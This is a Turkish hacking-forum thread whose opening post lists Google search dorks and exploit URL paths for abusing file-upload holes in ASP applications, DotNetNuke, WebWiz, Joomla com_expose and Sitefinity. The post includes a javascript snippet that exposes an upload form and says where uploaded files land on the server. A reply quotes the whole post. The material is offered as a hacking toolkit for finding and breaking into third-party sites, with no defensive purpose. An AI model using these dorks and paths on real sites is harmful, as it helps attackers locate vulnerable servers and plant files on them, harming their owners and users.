Site Açıkları

David Lucas
Konu Özeti

ASP, DotNetNuke, WebWiz, Joomla ve Sitefinity gibi platformlarda bulunan dosya yükleme açıkları ve bu açıkların istismar yöntemleri listeleniyor. Paylaşımda, belirli URL kalıpları ve exploit kodları ile hedef sistemlere nasıl erişilebileceği gösteriliyor. Ayrıca, yüklenen dosyaların sunucuda hangi dizine yerleştiği bilgisi de veriliyor.

Status
Not open for further replies.
ASP AÇIKLAR

inurl:”/admin/saveannounce_upload.asp”

inurl:”admin/eWebEditor/Upload.asp”

inurl:”UploadFile/upload.asp”

intitle:"Powered by Phuploader"



Dotnuke uplaod açıgı ;

inurl:/tabid/36/language/en-US/Default.aspx

Upload Sayfasi
Için; /Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Upload Kod : javascript:__doPostBack(’ctlUR L$cmdUpload’,’’ ) bu kodu tapdığınız saytın sonuna yazın upload gələcək.

inurl:tabid/1162/Default.aspx



WEBWİZ AÇIĞI (RTE UPLOAD AÇIĞI )

inurl:rte/my_documents/my_files/
inurl:/my_documents/my_files/
exloit: /rte/RTE_popup_file_atch.asp



Editör açığı

inurl:editor/assetmanager/ (axtardığınız kod yenilənə bilər)

EXPLOİT : /Editor/assetmanager/assetmanager.asp


Joomla upload açığı

inurl index.php?option=com_expose

Exploit: administrator/components/com_expose/uploadimg.php
Uploadin gittigi yer : /components/com_expose/expose/img/


Sitefinity: Login upload açıgı

inurl:”Sitefinity: Login”
exploit: Sitefinity/UserControls/Dialogs/ImageEditorDialog.aspx

NOT : Beğeni Yorum İçin Değil Sadece Profilimde Hack Araçlarına Ekleme Olsun Diye Attim. Bir Nevi Gelecek İçin Yatırım.

🔒 Bu içeriği görmek için giriş yapın

 
  • Lost Lost Yaşayan Forum Efsanesi
Daniels said:
ASP AÇIKLAR

inurl:”/admin/saveannounce_upload.asp”

inurl:”admin/eWebEditor/Upload.asp”

inurl:”UploadFile/upload.asp”

intitle:"Powered by Phuploader"



Dotnuke uplaod açıgı ;

inurl:/tabid/36/language/en-US/Default.aspx

Upload Sayfasi
Için; /Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Upload Kod : javascript:__doPostBack(’ctlUR L$cmdUpload’,’’ ) bu kodu tapdığınız saytın sonuna yazın upload gələcək.

inurl:tabid/1162/Default.aspx



WEBWİZ AÇIĞI (RTE UPLOAD AÇIĞI )

inurl:rte/my_documents/my_files/
inurl:/my_documents/my_files/
exloit: /rte/RTE_popup_file_atch.asp



Editör açığı

inurl:editor/assetmanager/ (axtardığınız kod yenilənə bilər)

EXPLOİT : /Editor/assetmanager/assetmanager.asp


Joomla upload açığı

inurl index.php?option=com_expose

Exploit: administrator/components/com_expose/uploadimg.php
Uploadin gittigi yer : /components/com_expose/expose/img/


Sitefinity: Login upload açıgı

inurl:”Sitefinity: Login”
exploit: Sitefinity/UserControls/Dialogs/ImageEditorDialog.aspx

NOT : Beğeni Yorum İçin Değil Sadece Profilimde Hack Araçlarına Ekleme Olsun Diye Attim. Bir Nevi Gelecek İçin Yatırım.
Click to expand...
konularını gizle dostum

🔒 Bu içeriği görmek için giriş yapın

 
Status
Not open for further replies.
136,742Threads
3,308,019Messages
328,583Members
nxthLatest member

About Us & Legal Notice

Yasal Uyarı: spyhackerz.org, 5651 sayılı Kanun kapsamında “Yer Sağlayıcı”dır. Sitedeki içerikler, X, Instagram ve Facebook’ta olduğu gibi, ön onay olmadan tamamen kullanıcılar tarafından paylaşılır. Bu nedenle spyhackerz.org, kullanıcı içeriklerini veya hukuka aykırı paylaşımları izlemek, denetlemek ve araştırmakla yükümlü değildir.

Site bünyesinde herhangi bir “saldırı ekibi” bulunmamaktadır ve Türkiye’deki internet sitelerine yönelik zararlı faaliyet yürütülmez. SPYHACKERZ, üyelerin bireysel olarak gerçekleştirdiği hacking içerikli forum faaliyetlerinden sorumlu değildir. spyhackerz.org adı kullanılarak bir saldırı yapılması halinde tüm sorumluluk yalnızca ilgili üyeye aittir.
Top Bottom